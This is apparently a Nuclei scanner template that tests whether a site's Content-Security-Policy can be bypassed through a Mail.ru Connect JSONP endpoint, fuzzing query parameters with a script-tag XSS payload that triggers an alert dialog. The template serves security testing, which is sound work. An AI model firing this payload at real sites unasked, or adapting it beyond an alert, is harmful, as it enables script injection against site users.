id: mailru-connect-csp-bypass

info:
  name: Content-Security-Policy Bypass - Mail.ru Connect
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,mailru-connect,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "mail.ru"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: mailru_connect_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://connect.mail.ru/share_count?url_list=x&callback=1&func=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "mailru_connect_csp_xss == true"
# digest: 490a004630440220047b23ebefd331bb053177c3694a01b768521c53a1de2fe3841f70cc5094525902204450faa3de16abe8ea8f720d8b5395dc5f291ea1452e980c686433458e7f7cfd:922c64590222798bb761d5b6d8e72950